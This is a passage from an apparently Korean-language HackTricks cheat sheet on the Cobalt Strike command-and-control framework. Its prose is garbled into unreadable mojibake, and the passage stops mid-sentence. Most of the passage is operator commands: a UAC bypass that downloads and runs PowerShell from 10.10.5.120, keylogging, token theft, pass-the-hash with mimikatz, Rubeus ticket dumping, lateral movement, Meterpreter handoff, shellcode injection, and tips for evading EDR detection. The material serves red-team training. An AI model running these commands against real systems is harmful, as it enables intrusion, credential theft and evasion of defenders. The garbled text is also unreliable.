Cobalt Strike
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
Listeners
C2 Listeners
Cobalt Strike -> Listeners -> Add/Edit ๊ทธ๋ฐ ๋ค์ ์์ ๋๊ธฐํ ์์น์ ์ฌ์ฉํ ๋น์ฝ์ ์ข
๋ฅ(http, dns, smbโฆ) ๋ฑ์ ์ ํํ ์ ์์ต๋๋ค.
Peer2Peer Listeners
์ด ๋ฆฌ์ค๋์ ๋น์ฝ์ C2์ ์ง์ ํต์ ํ ํ์๊ฐ ์์ผ๋ฉฐ, ๋ค๋ฅธ ๋น์ฝ์ ํตํด ํต์ ํ ์ ์์ต๋๋ค.
Cobalt Strike -> Listeners -> Add/Edit ๊ทธ๋ฐ ๋ค์ TCP ๋๋ SMB ๋น์ฝ์ ์ ํํด์ผ ํฉ๋๋ค.
- TCP ๋น์ฝ์ ์ ํํ ํฌํธ์์ ๋ฆฌ์ค๋๋ฅผ ์ค์ ํฉ๋๋ค. TCP ๋น์ฝ์ ์ฐ๊ฒฐํ๋ ค๋ฉด ๋ค๋ฅธ ๋น์ฝ์์
connect <ip> <port>๋ช ๋ น์ ์ฌ์ฉํ์ญ์์ค. - smb ๋น์ฝ์ ์ ํํ ์ด๋ฆ์ ํ์ดํ ์ด๋ฆ์์ ์์ ๋๊ธฐํฉ๋๋ค. SMB ๋น์ฝ์ ์ฐ๊ฒฐํ๋ ค๋ฉด
link [target] [pipe]๋ช ๋ น์ ์ฌ์ฉํด์ผ ํฉ๋๋ค.
Generate & Host payloads
Generate payloads in files
Attacks -> Packages ->
HTMLApplicationHTA ํ์ผ์ฉMS Office Macro๋งคํฌ๋ก๊ฐ ํฌํจ๋ ์คํผ์ค ๋ฌธ์์ฉWindows Executable.exe, .dll ๋๋ ์๋น์ค .exe์ฉWindows Executable (S)์คํ ์ด์ง๋ฆฌ์ค .exe, .dll ๋๋ ์๋น์ค .exe์ฉ (์คํ ์ด์ง๋ฆฌ์ค๊ฐ ์คํ ์ด์ง๋ณด๋ค ์ข์, IoCs๊ฐ ์ ์)
Generate & Host payloads
Attacks -> Web Drive-by -> Scripted Web Delivery (S) ์ด๋ ๋น์ฝ์ cobalt strike์์ ๋ค์ด๋ก๋ํ๊ธฐ ์ํ ์คํฌ๋ฆฝํธ/์คํ ํ์ผ์ ์์ฑํฉ๋๋ค. ํ์์ bitsadmin, exe, powershell ๋ฐ python๊ณผ ๊ฐ์ต๋๋ค.
Host Payloads
ํธ์คํ
ํ ํ์ผ์ด ์ด๋ฏธ ์น ์๋ฒ์ ์๋ ๊ฒฝ์ฐ Attacks -> Web Drive-by -> Host File๋ก ์ด๋ํ์ฌ ํธ์คํ
ํ ํ์ผ๊ณผ ์น ์๋ฒ ๊ตฌ์ฑ์ ์ ํํ์ญ์์ค.
Beacon Options
# ๋ก์ปฌ .NET ๋ฐ์ด๋๋ฆฌ ์คํ
execute-assembly
# 1MB๋ณด๋ค ํฐ ์ด์
๋ธ๋ฆฌ๋ฅผ ๋ก๋ํ๋ ค๋ฉด malleable ํ๋กํ์ 'tasks_max_size' ์์ฑ์ ์์ ํด์ผ ํฉ๋๋ค.
# ์คํฌ๋ฆฐ์ท
printscreen # PrintScr ๋ฐฉ๋ฒ์ ํตํด ๋จ์ผ ์คํฌ๋ฆฐ์ท ์ฐ๊ธฐ
screenshot # ๋จ์ผ ์คํฌ๋ฆฐ์ท ์ฐ๊ธฐ
screenwatch # ๋ฐ์คํฌํ์ ์ฃผ๊ธฐ์ ์ธ ์คํฌ๋ฆฐ์ท ์ฐ๊ธฐ
## ๋ณด๊ธฐ -> ์คํฌ๋ฆฐ์ท์ผ๋ก ์ด๋ํ์ฌ ํ์ธ
# ํค๋ก๊ฑฐ
keylogger [pid] [x86|x64]
## ๋ณด๊ธฐ > ํค ์
๋ ฅ์ผ๋ก ์ด๋ํ์ฌ ๋๋ฆฐ ํค ํ์ธ
# ํฌํธ ์ค์บ
portscan [pid] [arch] [targets] [ports] [arp|icmp|none] [max connections] # ๋ค๋ฅธ ํ๋ก์ธ์ค ๋ด์์ ํฌํธ ์ค์บ ์์
์ฃผ์
portscan [targets] [ports] [arp|icmp|none] [max connections]
# ํ์์
ธ
## ํ์์
ธ ๋ชจ๋ ๊ฐ์ ธ์ค๊ธฐ
powershell-import C:\path\to\PowerView.ps1
powershell-import /root/Tools/PowerSploit/Privesc/PowerUp.ps1
powershell <์ฌ๊ธฐ์ ํ์์
ธ cmd ์
๋ ฅ> # ์ด๋ ์ง์๋๋ ๊ฐ์ฅ ๋์ ํ์์
ธ ๋ฒ์ ์ ์ฌ์ฉํฉ๋๋ค (opsec ์๋)
powerpick # ์ด๋ spawnto์ ์ํด ์ง์ ๋ ํฌ์ ํ๋ก์ธ์ค๋ฅผ ์์ฑํ๊ณ , ๋ ๋์ opsec๋ฅผ ์ํด UnmanagedPowerShell์ ์ฃผ์
ํฉ๋๋ค (๋ก๊น
์์)
powerpick Invoke-PrivescAudit | fl
psinject # ์ด๋ ์ง์ ๋ ํ๋ก์ธ์ค์ UnmanagedPowerShell์ ์ฃผ์
ํ์ฌ PowerShell cmdlet์ ์คํํฉ๋๋ค.
# ์ฌ์ฉ์ ๊ฐ์ฅ
## ์๊ฒฉ ์ฆ๋ช
์ผ๋ก ํ ํฐ ์์ฑ
make_token [DOMAIN\user] [password] # ๋คํธ์ํฌ์์ ์ฌ์ฉ์๋ฅผ ๊ฐ์ฅํ๊ธฐ ์ํ ํ ํฐ ์์ฑ
ls \\computer_name\c$ # ์์ฑ๋ ํ ํฐ์ ์ฌ์ฉํ์ฌ ์ปดํจํฐ์ C$์ ์ ๊ทผ ์๋
rev2self # make_token์ผ๋ก ์์ฑ๋ ํ ํฐ ์ฌ์ฉ ์ค์ง
## make_token ์ฌ์ฉ ์ ์ด๋ฒคํธ 4624๊ฐ ์์ฑ๋ฉ๋๋ค: ๊ณ์ ์ด ์ฑ๊ณต์ ์ผ๋ก ๋ก๊ทธ์ธ๋์์ต๋๋ค. ์ด ์ด๋ฒคํธ๋ Windows ๋๋ฉ์ธ์์ ๋งค์ฐ ์ผ๋ฐ์ ์ด์ง๋ง, ๋ก๊ทธ์จ ์ ํ์ผ๋ก ํํฐ๋งํ์ฌ ์ขํ ์ ์์ต๋๋ค. ์์์ ์ธ๊ธํ๋ฏ์ด, ์ด๋ LOGON32_LOGON_NEW_CREDENTIALS๋ฅผ ์ฌ์ฉํ๋ฉฐ, ์ด๋ ์ ํ 9์
๋๋ค.
# UAC ์ฐํ
elevate svc-exe
elevate uac-token-duplication
runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"
## pid์์ ํ ํฐ ํ์น๊ธฐ
## make_token๊ณผ ์ ์ฌํ์ง๋ง ํ๋ก์ธ์ค์์ ํ ํฐ์ ํ์นฉ๋๋ค
steal_token [pid] # ๋ํ, ์ด๋ ๋คํธ์ํฌ ์์
์ ์ ์ฉํ๋ฉฐ, ๋ก์ปฌ ์์
์๋ ์ ์ฉํ์ง ์์ต๋๋ค
## API ๋ฌธ์์์ ์ฐ๋ฆฌ๋ ์ด ๋ก๊ทธ์จ ์ ํ์ด "ํธ์ถ์๊ฐ ํ์ฌ ํ ํฐ์ ๋ณต์ ํ ์ ์๋๋ก ํ์ฉํฉ๋๋ค"๋ผ๊ณ ์๊ณ ์์ต๋๋ค. ์ด ๋๋ฌธ์ ๋น์ฝ ์ถ๋ ฅ์ Impersonated ์ด๋ผ๊ณ ํ์๋ฉ๋๋ค - ์ด๋ ์ฐ๋ฆฌ์ ๋ณต์ ๋ ํ ํฐ์ ๊ฐ์ฅํ๊ณ ์์ต๋๋ค.
ls \\computer_name\c$ # ์์ฑ๋ ํ ํฐ์ ์ฌ์ฉํ์ฌ ์ปดํจํฐ์ C$์ ์ ๊ทผ ์๋
rev2self # steal_token์์ ํ ํฐ ์ฌ์ฉ ์ค์ง
## ์๋ก์ด ์๊ฒฉ ์ฆ๋ช
์ผ๋ก ํ๋ก์ธ์ค ์์
spawnas [domain\username] [password] [listener] # ์ฝ๊ธฐ ๊ถํ์ด ์๋ ๋๋ ํ ๋ฆฌ์์ ์ํ: cd C:\
## make_token๊ณผ ์ ์ฌํ๊ฒ, ์ด๋ Windows ์ด๋ฒคํธ 4624๋ฅผ ์์ฑํฉ๋๋ค: ๊ณ์ ์ด ์ฑ๊ณต์ ์ผ๋ก ๋ก๊ทธ์ธ๋์์ต๋๋ค. ๊ทธ๋ฌ๋ ๋ก๊ทธ์จ ์ ํ์ 2 (LOGON32_LOGON_INTERACTIVE)์
๋๋ค. ํธ์ถ ์ฌ์ฉ์(TargetUserName)์ ๊ฐ์ฅ๋ ์ฌ์ฉ์(TargetOutboundUserName)๊ฐ ์์ธํ ์ค๋ช
๋ฉ๋๋ค.
## ํ๋ก์ธ์ค์ ์ฃผ์
inject [pid] [x64|x86] [listener]
## OpSec ๊ด์ ์์: ์ ๋ง ํ์ํ์ง ์๋ ํ ํฌ๋ก์ค ํ๋ซํผ ์ฃผ์
์ ์ํํ์ง ๋ง์ญ์์ค (์: x86 -> x64 ๋๋ x64 -> x86).
## ํด์ ์ ๋ฌ
## ์ด ์์ ํ๋ก์ธ์ค๋ LSASS ๋ฉ๋ชจ๋ฆฌ๋ฅผ ํจ์นํด์ผ ํ๋ฉฐ, ์ด๋ ๊ณ ์ํ ์์
์ผ๋ก ๋ก์ปฌ ๊ด๋ฆฌ์ ๊ถํ์ด ํ์ํ๋ฉฐ, Protected Process Light (PPL)๊ฐ ํ์ฑํ๋ ๊ฒฝ์ฐ์๋ ์คํ ๊ฐ๋ฅ์ฑ์ด ๋ฎ์ต๋๋ค.
pth [pid] [arch] [DOMAIN\user] [NTLM hash]
pth [DOMAIN\user] [NTLM hash]
## mimikatz๋ฅผ ํตํ ํด์ ์ ๋ฌ
mimikatz sekurlsa::pth /user: /domain: /ntlm: /run:"powershell -w hidden"
## /run ์์ด, mimikatz๋ cmd.exe๋ฅผ ์์ฑํฉ๋๋ค. ๋ฐ์คํฌํ์์ ์คํ ์ค์ธ ์ฌ์ฉ์๋ก ์คํํ๋ ๊ฒฝ์ฐ, ๊ทธ๋ ์
ธ์ ๋ณผ ์ ์์ต๋๋ค (SYSTEM์ผ๋ก ์คํ ์ค์ธ ๊ฒฝ์ฐ ๋ฌธ์ ์์)
steal_token # mimikatz์ ์ํด ์์ฑ๋ ํ๋ก์ธ์ค์์ ํ ํฐ ํ์น๊ธฐ
## ํฐ์ผ ์ ๋ฌ
## ํฐ์ผ ์์ฒญ
execute-assembly /root/Tools/SharpCollection/Seatbelt.exe -group=system
execute-assembly C:\path\Rubeus.exe asktgt /user: /domain: /aes256: /nowrap /opsec
## ์๋ก์ด ํฐ์ผ๊ณผ ํจ๊ป ์ฌ์ฉํ ์๋ก์ด ๋ก๊ทธ์จ ์ธ์
์์ฑ (์์๋ ์ธ์
์ ๋ฎ์ด์ฐ์ง ์๊ธฐ ์ํด)
make_token \ DummyPass
## ํ์์
ธ ์ธ์
์์ ๊ณต๊ฒฉ์ ๋จธ์ ์ ํฐ์ผ์ ์์ฑํ๊ณ ๋ก๋ํฉ๋๋ค
[System.IO.File]::WriteAllBytes("C:\Users\Administrator\Desktop\jkingTGT.kirbi", [System.Convert]::FromBase64String("[...ticket...]"))
kerberos_ticket_use C:\Users\Administrator\Desktop\jkingTGT.kirbi
## SYSTEM์์ ํฐ์ผ ์ ๋ฌ
## ํฐ์ผ์ผ๋ก ์๋ก์ด ํ๋ก์ธ์ค ์์ฑ
execute-assembly C:\path\Rubeus.exe asktgt /user: /domain: /aes256: /nowrap /opsec /createnetonly:C:\Windows\System32\cmd.exe
## ํด๋น ํ๋ก์ธ์ค์์ ํ ํฐ ํ์น๊ธฐ
steal_token
## ํฐ์ผ ์ถ์ถ + ํฐ์ผ ์ ๋ฌ
### ํฐ์ผ ๋ชฉ๋ก
execute-assembly C:\path\Rubeus.exe triage
### LUID๋ก ํฅ๋ฏธ๋ก์ด ํฐ์ผ ๋คํ
execute-assembly C:\path\Rubeus.exe dump /service:krbtgt /luid: /nowrap
### ์๋ก์ด ๋ก๊ทธ์จ ์ธ์
์์ฑ, LUID ๋ฐ ํ๋ก์ธ์ค ID ๊ธฐ๋ก
execute-assembly C:\path\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe
### ์์ฑ๋ ๋ก๊ทธ์จ ์ธ์
์ ํฐ์ผ ์ฝ์
execute-assembly C:\path\Rubeus.exe ptt /luid:0x92a8c /ticket:[...base64-ticket...]
### ๋ง์ง๋ง์ผ๋ก, ํด๋น ์๋ก์ด ํ๋ก์ธ์ค์์ ํ ํฐ ํ์น๊ธฐ
steal_token
#ย Lateral Movement
## ํ ํฐ์ด ์์ฑ๋ ๊ฒฝ์ฐ ์ฌ์ฉ๋ฉ๋๋ค
jump [method] [target] [listener]
## ๋ฐฉ๋ฒ:
## psexec x86 ์๋น์ค๋ก ์๋น์ค EXE ์ํฐํฉํธ ์คํ
## psexec64 x64 ์๋น์ค๋ก ์๋น์ค EXE ์ํฐํฉํธ ์คํ
##ย psexec_psh x86 ์๋น์ค๋ก PowerShell ์๋ผ์ด๋ ์คํ
##ย winrm x86 WinRM์ ํตํด PowerShell ์คํฌ๋ฆฝํธ ์คํ
##ย winrm64 x64 WinRM์ ํตํด PowerShell ์คํฌ๋ฆฝํธ ์คํ
## wmi_msbuild x64 msbuild ์ธ๋ผ์ธ C# ์์
์ ํตํ wmi ์ธก๋ฉด ์ด๋ (opsec)
remote-exec [method] [target] [command] # remote-exec๋ ์ถ๋ ฅ์ ๋ฐํํ์ง ์์ต๋๋ค
## ๋ฐฉ๋ฒ:
##ย psexec ์๋น์ค ์ ์ด ๊ด๋ฆฌ์ ํตํด ์๊ฒฉ ์คํ
##ย winrm WinRM์ ํตํด ์๊ฒฉ ์คํ (PowerShell)
##ย wmi WMI๋ฅผ ํตํด ์๊ฒฉ ์คํ
## wmi๋ก ๋น์ฝ์ ์คํํ๋ ค๋ฉด (jump ๋ช
๋ น์ ํฌํจ๋์ง ์์) ๋น์ฝ์ ์
๋ก๋ํ๊ณ ์คํํ์ญ์์ค
beacon> upload C:\Payloads\beacon-smb.exe
beacon> remote-exec wmi srv-1 C:\Windows\beacon-smb.exe
# Metasploit์ ์ธ์
์ ๋ฌ - ๋ฆฌ์ค๋๋ฅผ ํตํด
## ๋ฉํํ๋ก์ ํธ์คํธ์์
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_http
msf6 exploit(multi/handler) > set LHOST eth0
msf6 exploit(multi/handler) > set LPORT 8080
msf6 exploit(multi/handler) > exploit -j
## cobalt์์: ๋ฆฌ์ค๋ > ์ถ๊ฐํ๊ณ ํ์ด๋ก๋๋ฅผ Foreign HTTP๋ก ์ค์ ํฉ๋๋ค. ํธ์คํธ๋ฅผ 10.10.5.120์ผ๋ก, ํฌํธ๋ฅผ 8080์ผ๋ก ์ค์ ํ๊ณ ์ ์ฅ์ ํด๋ฆญํฉ๋๋ค.
beacon> spawn metasploit
## ์ธ๋ถ ๋ฆฌ์ค๋๋ก x86 Meterpreter ์ธ์
๋ง ์์ฑํ ์ ์์ต๋๋ค.
# Metasploit ์ธ์
์ Cobalt Strike๋ก ์ ๋ฌ - ์์ฝ๋ ์ฃผ์
์ ํตํด
## ๋ฉํ์คํ๋ก์ ํธ์คํธ์์
msfvenom -p windows/x64/meterpreter_reverse_http LHOST= LPORT= -f raw -o /tmp/msf.bin
## msfvenom์ ์คํํ๊ณ multi/handler ๋ฆฌ์ค๋๋ฅผ ์ค๋นํฉ๋๋ค.
## bin ํ์ผ์ cobalt strike ํธ์คํธ๋ก ๋ณต์ฌํฉ๋๋ค
ps
shinject x64 C:\Payloads\msf.bin # x64 ํ๋ก์ธ์ค์ ๋ฉํ์คํ๋ก์ ์์ฝ๋ ์ฃผ์
# ๋ฉํ์คํ๋ก์ ์ธ์
์ Cobalt Strike๋ก ์ ๋ฌ
## ์คํ
์ด์ง๋ฆฌ์ค ๋น์ฝ ์์ฝ๋๋ฅผ ์์ฑํฉ๋๋ค. Attacks > Packages > Windows Executable (S)๋ก ์ด๋ํ์ฌ ์ํ๋ ๋ฆฌ์ค๋๋ฅผ ์ ํํ๊ณ ์ถ๋ ฅ ์ ํ์ผ๋ก Raw๋ฅผ ์ ํํ ํ x64 ํ์ด๋ก๋๋ฅผ ์ ํํฉ๋๋ค.
## ๋ฉํ์คํ๋ก์์์ post/windows/manage/shellcode_inject๋ฅผ ์ฌ์ฉํ์ฌ ์์ฑ๋ cobalt strike ์์ฝ๋๋ฅผ ์ฃผ์
ํฉ๋๋ค.
# Pivoting
## ํ ์๋ฒ์์ ์์ผ ํ๋ก์ ์ด๊ธฐ
beacon> socks 1080
# SSH ์ฐ๊ฒฐ
beacon> ssh 10.10.17.12:22 username password
Opsec
###ย Execute-Assembly
**execute-assembly**๋ ์๊ฒฉ ํ๋ก์ธ์ค ์ฃผ์
์ ์ฌ์ฉํ์ฌ ์ง์ ๋ ํ๋ก๊ทธ๋จ์ ์คํํ๋ ํฌ์ ํ๋ก์ธ์ค๋ฅผ ์ฌ์ฉํฉ๋๋ค. ์ด๋ ๋งค์ฐ ์๋๋ฝ์ต๋๋ค. ํ๋ก์ธ์ค ๋ด์ ์ฃผ์
ํ๊ธฐ ์ํด ํน์ Win API๊ฐ ์ฌ์ฉ๋๋ฉฐ, ๋ชจ๋ EDR์ด ์ด๋ฅผ ํ์ธํ๊ณ ์์ต๋๋ค. ๊ทธ๋ฌ๋ ๋์ผํ ํ๋ก์ธ์ค์์ ๋ฌด์ธ๊ฐ๋ฅผ ๋ก๋ํ๋ ๋ฐ ์ฌ์ฉํ ์ ์๋ ๋ช ๊ฐ์ง ์ฌ์ฉ์ ์ง์ ๋๊ตฌ๊ฐ ์์ต๋๋ค:
- https://github.com/anthemtotheego/InlineExecute-Assembly
- https://github.com/kyleavery/inject-assembly
- Cobalt Strike์์๋ BOF(Beacon Object Files)๋ฅผ ์ฌ์ฉํ ์๋ ์์ต๋๋ค: https://github.com/CCob/BOF.NET
- https://github.com/kyleavery/inject-assembly
agressor ์คํฌ๋ฆฝํธ https://github.com/outflanknl/HelpColor๋ Cobalt Strike์์ helpx ๋ช
๋ น์ ์์ฑํ์ฌ BOF(๋
น์), Frok&Run(๋
ธ๋์) ๋ฐ ์ ์ฌํ ๋ช
๋ น์ ์์์ ํ์ํฉ๋๋ค. ๋๋ ProcessExecution, injection ๋๋ ์ ์ฌํ ๋ช
๋ น(๋นจ๊ฐ์)์ผ๋ก ํ์๋ฉ๋๋ค. ์ด๋ ์ด๋ค ๋ช
๋ น์ด ๋ ์๋ฐํ์ง ์๋ ๋ฐ ๋์์ด ๋ฉ๋๋ค.
์ฌ์ฉ์๋ก ํ๋ํ๊ธฐ
Seatbelt.exe LogonEvents ExplicitLogonEvents PoweredOnEvents์ ๊ฐ์ ์ด๋ฒคํธ๋ฅผ ํ์ธํ ์ ์์ต๋๋ค:
- ๋ณด์ EID 4624 - ์ผ๋ฐ์ ์ธ ์ด์ ์๊ฐ์ ์๊ธฐ ์ํด ๋ชจ๋ ๋ํํ ๋ก๊ทธ์จ์ ํ์ธํฉ๋๋ค.
- ์์คํ
EID 12,13 - ์ข
๋ฃ/์์/์ ์ ๋น๋๋ฅผ ํ์ธํฉ๋๋ค.
- ๋ณด์ EID 4624/4625 - ์ ํจ/๋ฌดํจ NTLM ์๋๋ฅผ ํ์ธํฉ๋๋ค.
- ๋ณด์ EID 4648 - ์ด ์ด๋ฒคํธ๋ ํ๋ฌธ ์๊ฒฉ ์ฆ๋ช
์ด ์ฌ์ฉ๋์ด ๋ก๊ทธ์จํ ๋ ์์ฑ๋ฉ๋๋ค. ํ๋ก์ธ์ค๊ฐ ์ด๋ฅผ ์์ฑํ ๊ฒฝ์ฐ, ์ด์ง ํ์ผ์ ์ ์ฌ์ ์ผ๋ก ๊ตฌ์ฑ ํ์ผ์ด๋ ์ฝ๋ ๋ด์ ํ๋ฌธ ์๊ฒฉ ์ฆ๋ช
์ ํฌํจํ๊ณ ์์ต๋๋ค.
Cobalt Strike์์ jump๋ฅผ ์ฌ์ฉํ ๋, ์๋ก์ด ํ๋ก์ธ์ค๊ฐ ๋ ํฉ๋ฒ์ ์ผ๋ก ๋ณด์ด๋๋ก wmi_msbuild ๋ฐฉ๋ฒ์ ์ฌ์ฉํ๋ ๊ฒ์ด ์ข์ต๋๋ค.
์ปดํจํฐ ๊ณ์ ์ฌ์ฉ
์๋น์๋ค์ด ์ฌ์ฉ์๋ก๋ถํฐ ์์ฑ๋ ์ด์ํ ํ๋์ ํ์ธํ๋ ๊ฒ์ด ์ผ๋ฐ์ ์ด๋ฉฐ, ์๋น์ค ๊ณ์ ๋ฐ *$์ ๊ฐ์ ์ปดํจํฐ ๊ณ์ ์ ๋ชจ๋ํฐ๋ง์์ ์ ์ธํฉ๋๋ค. ์ด๋ฌํ ๊ณ์ ์ ์ฌ์ฉํ์ฌ ์ธก๋ฉด ์ด๋ ๋๋ ๊ถํ ์์น์ ์ํํ ์ ์์ต๋๋ค.
์คํ
์ด์ง๋ฆฌ์ค ํ์ด๋ก๋ ์ฌ์ฉ
์คํ
์ด์ง๋ฆฌ์ค ํ์ด๋ก๋๋ C2 ์๋ฒ์์ ๋ ๋ฒ์งธ ๋จ๊ณ๋ฅผ ๋ค์ด๋ก๋ํ ํ์๊ฐ ์๊ธฐ ๋๋ฌธ์ ์คํ
์ด์ง ํ์ด๋ก๋๋ณด๋ค ๋ ์๋๋ฝ์ต๋๋ค. ์ด๋ ์ด๊ธฐ ์ฐ๊ฒฐ ์ดํ ๋คํธ์ํฌ ํธ๋ํฝ์ ์์ฑํ์ง ์์ผ๋ฏ๋ก ๋คํธ์ํฌ ๊ธฐ๋ฐ ๋ฐฉ์ด์ ์ํด ๊ฐ์ง๋ ๊ฐ๋ฅ์ฑ์ด ์ ์ต๋๋ค.
ํ ํฐ ๋ฐ ํ ํฐ ์ ์ฅ์
ํ ํฐ์ ํ์น๊ฑฐ๋ ์์ฑํ ๋ ์ฃผ์ํ์ญ์์ค. EDR์ด ๋ชจ๋ ์ค๋ ๋์ ๋ชจ๋ ํ ํฐ์ ์ด๊ฑฐํ๊ณ ๋ค๋ฅธ ์ฌ์ฉ์ ๋๋ ์ฌ์ง์ด SYSTEM์ ์ํ๋ ํ ํฐ์ ์ฐพ์ ์ ์๋ ๊ฐ๋ฅ์ฑ์ด ์์ต๋๋ค.
์ด๋ ๋น์ฝ๋ณ๋ก ํ ํฐ์ ์ ์ฅํ ์ ์๊ฒ ํ์ฌ ๋์ผํ ํ ํฐ์ ๋ฐ๋ณตํด์ ํ์น ํ์๊ฐ ์์ต๋๋ค. ์ด๋ ์ธก๋ฉด ์ด๋์ด๋ ํ์น ํ ํฐ์ ์ฌ๋ฌ ๋ฒ ์ฌ์ฉํด์ผ ํ ๋ ์ ์ฉํฉ๋๋ค:
- token-store steal
- token-store steal-and-use
- token-store show
- token-store use
- token-store remove
- token-store remove-all
์ธก๋ฉด ์ด๋ ์, ์ผ๋ฐ์ ์ผ๋ก ์๋ก์ด ํ ํฐ์ ์์ฑํ๋ ๊ฒ๋ณด๋ค ํ ํฐ์ ํ์น๋ ๊ฒ์ด ๋ ์ข์ต๋๋ค.
๊ฐ๋๋ ์ผ
Cobalt Strike์๋ ๊ฐ๋๋ ์ผ์ด๋ผ๋ ๊ธฐ๋ฅ์ด ์์ด ๋ฐฉ์ด์๊ฐ ๊ฐ์งํ ์ ์๋ ํน์ ๋ช
๋ น์ด๋ ์์
์ ์ฌ์ฉ์ ๋ฐฉ์งํ๋ ๋ฐ ๋์์ด ๋ฉ๋๋ค. ๊ฐ๋๋ ์ผ์ make_token, jump, remote-exec์ ๊ฐ์ ํน์ ๋ช
๋ น์ ์ฐจ๋จํ๋๋ก ๊ตฌ์ฑํ ์ ์์ผ๋ฉฐ, ์ด๋ ์ผ๋ฐ์ ์ผ๋ก ์ธก๋ฉด ์ด๋์ด๋ ๊ถํ ์์น์ ์ฌ์ฉ๋ฉ๋๋ค.
๋ํ, ๋ฆฌํฌ์งํ ๋ฆฌ https://github.com/Arvanaghi/CheckPlease/wiki/System-Related-Checks์๋ ํ์ด๋ก๋๋ฅผ ์คํํ๊ธฐ ์ ์ ๊ณ ๋ คํ ์ ์๋ ๋ช ๊ฐ์ง ๊ฒ์ฌ ๋ฐ ์์ด๋์ด๊ฐ ํฌํจ๋์ด ์์ต๋๋ค.
ํฐ์ผ ์ํธํ
AD์์ ํฐ์ผ์ ์ํธํ์ ์ฃผ์ํ์ญ์์ค. ๊ธฐ๋ณธ์ ์ผ๋ก ์ผ๋ถ ๋๊ตฌ๋ Kerberos ํฐ์ผ์ ๋ํด RC4 ์ํธํ๋ฅผ ์ฌ์ฉํ๋ฉฐ, ์ด๋ AES ์ํธํ๋ณด๋ค ๋ ์์ ํ๊ณ ๊ธฐ๋ณธ์ ์ผ๋ก ์ต์ ํ๊ฒฝ์์๋ AES๋ฅผ ์ฌ์ฉํฉ๋๋ค. ์ด๋ ์ฝํ ์ํธํ ์๊ณ ๋ฆฌ์ฆ์ ๋ชจ๋ํฐ๋งํ๋ ๋ฐฉ์ด์์ ์ํด ๊ฐ์ง๋ ์ ์์ต๋๋ค.
๊ธฐ๋ณธ๊ฐ ํผํ๊ธฐ
Cobalt Strike๋ฅผ ์ฌ์ฉํ ๋ ๊ธฐ๋ณธ์ ์ผ๋ก SMB ํ์ดํ๋ msagent_#### ๋ฐ "status_####๋ผ๋ ์ด๋ฆ์ ๊ฐ์ง๋๋ค. ์ด๋ฌํ ์ด๋ฆ์ ๋ณ๊ฒฝํ์ญ์์ค. Cobalt Strike์์ ๊ธฐ์กด ํ์ดํ์ ์ด๋ฆ์ ํ์ธํ๋ ค๋ฉด ๋ค์ ๋ช
๋ น์ ์ฌ์ฉํ์ญ์์ค: ls \\.\pipe\
๋ํ SSH ์ธ์
์์๋ \\.\pipe\postex_ssh_####๋ผ๋ ํ์ดํ๊ฐ ์์ฑ๋ฉ๋๋ค. ์ด๋ฅผ set ssh_pipename "<new_name>";๋ก ๋ณ๊ฒฝํ์ญ์์ค.
๋ํ ํฌ์คํธ ์ต์คํ๋ก์ ๊ณต๊ฒฉ์์ \\.\pipe\postex_#### ํ์ดํ๋ set pipename "<new_name>"์ผ๋ก ์์ ํ ์ ์์ต๋๋ค.
Cobalt Strike ํ๋กํ์์๋ ๋ค์๊ณผ ๊ฐ์ ์ฌํญ์ ์์ ํ ์ ์์ต๋๋ค:
rwx ์ฌ์ฉ ํผํ๊ธฐ
process-inject {...} ๋ธ๋ก์์ ํ๋ก์ธ์ค ์ฃผ์
๋์์ด ์๋ํ๋ ๋ฐฉ์ (์ด๋ค API๊ฐ ์ฌ์ฉ๋ ์ง)
post-ex {โฆ} ๋ธ๋ก์์ โfork and runโ์ด ์๋ํ๋ ๋ฐฉ์
- ๋๊ธฐ ์๊ฐ
- ๋ฉ๋ชจ๋ฆฌ์ ๋ก๋๋ ์ด์ง ํ์ผ์ ์ต๋ ํฌ๊ธฐ
- ๋ฉ๋ชจ๋ฆฌ ๋ฐ์๊ตญ ๋ฐ DLL ๋ด์ฉ
stage {...} ๋ธ๋ก์ผ๋ก
- ๋คํธ์ํฌ ํธ๋ํฝ
๋ฉ๋ชจ๋ฆฌ ์ค์บ ์ฐํ
์ผ๋ถ EDR์ ์๋ ค์ง ๋งฌ์จ์ด ์๋ช
์ ์ํด ๋ฉ๋ชจ๋ฆฌ๋ฅผ ์ค์บํฉ๋๋ค. Cobalt Strike๋ ๋ฐฑ๋์ด๋ฅผ ๋ฉ๋ชจ๋ฆฌ์์ ์ํธํํ ์ ์๋ sleep_mask ๊ธฐ๋ฅ์ ์์ ํ ์ ์๋๋ก ํฉ๋๋ค.
์๋๋ฌ์ด ํ๋ก์ธ์ค ์ฃผ์
์ฝ๋๋ฅผ ํ๋ก์ธ์ค์ ์ฃผ์
ํ ๋ ์ด๋ ์ผ๋ฐ์ ์ผ๋ก ๋งค์ฐ ์๋๋ฝ์ต๋๋ค. ์ด๋ ์ ์์ ์ธ ํ๋ก์ธ์ค๊ฐ ์ผ๋ฐ์ ์ผ๋ก ์ด ์์
์ ์ํํ์ง ์๊ธฐ ๋๋ฌธ์ด๋ฉฐ, ์ด๋ฅผ ์ํํ๋ ๋ฐฉ๋ฒ์ด ๋งค์ฐ ์ ํ์ ์ด๊ธฐ ๋๋ฌธ์
